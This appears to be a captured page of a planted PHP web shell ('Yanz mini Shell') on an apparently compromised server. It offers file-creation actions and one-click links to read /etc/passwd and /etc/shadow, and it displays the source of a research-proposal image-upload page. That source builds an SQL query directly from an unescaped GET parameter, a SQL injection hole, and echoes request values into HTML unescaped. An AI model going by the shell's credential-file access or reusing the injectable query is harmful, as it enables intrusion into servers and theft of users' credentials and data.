Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php
	
	
	if(isset($_GET['proposal_id']))
	$proposal_id=$_GET['proposal_id'];
	
	$get_information = $pdo->query("SELECT R.*, M.* FROM research_proposal R, member_information M Where R.research_author=M.email And R.proposal_no='$proposal_id'");
	$info_row = $get_information->fetch();
?>

<section class="content">
     <div class="row">
		<div class="col-sm-12">
			<div class="box box-primary">
				<div class="box-header with-border">
					<h3 class="box-title"><?php if(!empty($main_menu)){ echo $main_menu;echo "&nbsp;&nbsp;<i class='fa fa-angle-right' style='font-weight:bold;'></i>&nbsp;&nbsp;";} ?> <?php echo $menu; ?></h3>
					<div class="box-tools pull-right">
															   
					</div>
				</div>
				<div class="box-body">
					<div class="container-fluid">
						<div class="row">
							
							
							
						
							
							
							<div class="col-md-12">
								<br><p class="my-content-header">Research Theme Picture</p>								
								<form method="post" class="form" action="?menu=<?php echo $menu; ?>&page_title=insert_data&proposal_id=<?php echo $proposal_id; ?>&main_menu=<?php echo $main_menu; ?>" enctype="multipart/form-data">
									<div class="container-fluid">
										<div class="row">
											<div class="col-md-3">
											</div>
											<div class="col-md-6">	
												<div class="container-fluid">										
													<div class="col-md-12 my-form-container">
														<div class="container-fluid">
															<div class="row">
																
																<div class="col-md-12">
																	<div id="imageDiv" class="drag-area" id="blah2">
																	<img id="blah" src="../img/upload.png" height="100%" width="100%" alt="your image"style="border:2px solid #fff;border-radius:5px;" />
																														
																	</div>
																</div>														
																<div class="col-md-12">
																	<div class="form-group">
																		<br><label for="usr">Upload Research Theme Picture </label>
																		<input class="form-control" onchange="readURL(this);" id="uploadPDF" type="file" name="myFile" required><br>
																	</div>
																</div>
																<div class="col-md-12">
																	<div class="box-tools pull-right">
																		<br><button class="btn btn-info" type="submit" name="publish_research_paper"><i class="fa fa-send"></i> &nbsp;Confirm Publish</button><br>
																	</div>
																</div>	
															</div>
														</div>
													</div>											
												</div>
											</div>
											<div class="col-md-3">
											</div>												
										</div>								
									</div>								
								</form>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>
	</div>
</section>
<script>
	function readURL(input) 
	{
        if (input.files && input.files[0]) {
            var reader = new FileReader();

reader.onload = function (e) {
                $('#blah')
                    .attr('src', e.target.result);
            };
            reader.readAsDataURL(input.files[0]);
        }
    }
</script>